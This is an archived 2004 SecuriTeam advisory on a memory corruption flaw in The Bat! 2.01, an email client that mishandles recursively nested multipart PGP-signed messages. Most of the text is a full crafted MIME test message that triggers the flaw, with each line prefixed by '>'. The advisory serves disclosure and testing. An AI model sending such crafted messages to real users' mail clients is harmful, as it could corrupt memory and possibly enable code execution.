[NT] The Bat! Memory Corruption When Parsing Multipart PGP Signed Messages

From: SecuriTeam (support_at_securiteam.com)
Date: 01/20/04

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      The Bat! Memory Corruption When Parsing Multipart PGP Signed Messages
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.ritlabs.com/en/products/thebat/> The Bat! "is a powerful,
    highly configurable, yet easy to use email client. We've designed it
    especially to help you deal with your growing volume of email as quickly
    and efficiently as possible, saving much of your precious time".

    The Bat! in its standard configuration incorrectly handles PGP signed
    messages of which the content type is "application/pgp-signature", with
    multiple parts embedded recursively.

    DETAILS

    Vulnerable Software:
     * The Bat! version 2.01

    Immune Software:
     * The Bat! version 2.03 Beta
     * The Bat! versions 1.x

    Although no debugging was made by 3APA3A, it seems that when you change
    the layouts of different parts of the message it causes The Bat! to read
    and write unallocated memory regions, which in turn might be used to
    execute arbitrary code. Since The Bat! has its own exception handler, the
    program does not crash.

    Below is an example message that can help in testing for this
    vulnerability (An angle bracket '>' was prefixed in each line so that
    vulnerable email clients will not crash):

     =============== Below is the message ================
    >From: "Test"
    >To: "Test"
    >Content-Type: multipart/signed; micalg=pgp-sha1;
    protocol="application/pgp-signature"; boundary="=-VOhSalJVh0ipN8GZDCj3"
    >Organization:
    >Mime-Version: 1.0
    >Date: 31 Dec 2003 22:42:47 -0800
    >
    >
    >--=-VOhSalJVh0ipN8GZDCj3
    >Content-Type: multipart/mixed; boundary="=-HuumM/Y9Qpvq2SoxnAYs"
    >
    >
    >--=-HuumM/Y9Qpvq2SoxnAYs
    >Content-Type: multipart/alternative; boundary="=-rxC2ED57bE++pIpgCxGK"
    >
    >
    >--=-rxC2ED57bE++pIpgCxGK
    >Content-Type: text/plain
    >Content-Transfer-Encoding: quoted-printable
    >
    >Hello administrator.
    >
    >--=20
    >Test
    >
    >--=-rxC2ED57bE++pIpgCxGK
    >Content-Type: text/html; charset=utf-8
    >Content-Transfer-Encoding: quoted-printable
    >
    >-- < BR>
    >Test
    >
    >--=-rxC2ED57bE++pIpgCxGK--
    >
    >--=-HuumM/Y9Qpvq2SoxnAYs
    >Content-Disposition: inline
    >Content-Type: message/rfc822
    >
    >Date: Sat, 27 Dec 2003 10:18:57 -0800 (PST)
    >From: Test
    >Subject: Test2
    >To: Test
    >MIME-Version: 1.0
    >Content-Type: multipart/report; report-type=delivery-status;
    boundary="38853510C39.1072549137/test"
    >Message-Id: < 20031227181857.E5FA4510D0D@test>
    >
    >
    >--38853510C39.1072549137/test
    >Content-Description: Notification
    >Content-Type: text/plain
    >Content-Transfer-Encoding: quoted-printable
    >
    >Test
    >
    >--38853510C39.1072549137/test
    >Content-Description: Delivery error report
    >Content-Type: message/delivery-status
    >Content-Transfer-Encoding: quoted-printable
    >
    >Reporting-MTA: dns; test
    >Arrival-Date: Sat, 27 Dec 2003 10:18:53 -0800 (PST)
    >
    >Test
    >
    >--=-HuumM/Y9Qpvq2SoxnAYs--
    >
    >--=-VOhSalJVh0ipN8GZDCj3
    >Content-Type: application/pgp-signature; name=signature.asc
    >Content-Description: This is a digitally signed message part
    >
    >-----BEGIN PGP SIGNATURE-----
    >Version: Test
    >
    >iD8DBQA/88Fngiv4lW690g8RAvSKAKCG8RPRPwYvvROWkJiXg9mJDT0NGgCgnhZ8
    >odAA1J0h/6h0OyiyY7PEt9Y=
    >=e5k6
    >-----END PGP SIGNATURE-----
    >
    >--=-VOhSalJVh0ipN8GZDCj3--
    >
    >
     =============== Below is the message ================

    Vendor Status:
     <http://www.ritlabs.com> RitLabs were informed of the issue and were
    unable to reproduce the bug with version 2.03 Beta and claim that version
    2.02CE is probably immune as well.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:3APA3A@SECURITY.NNOV.RU>
    3APA3A

    ========================================

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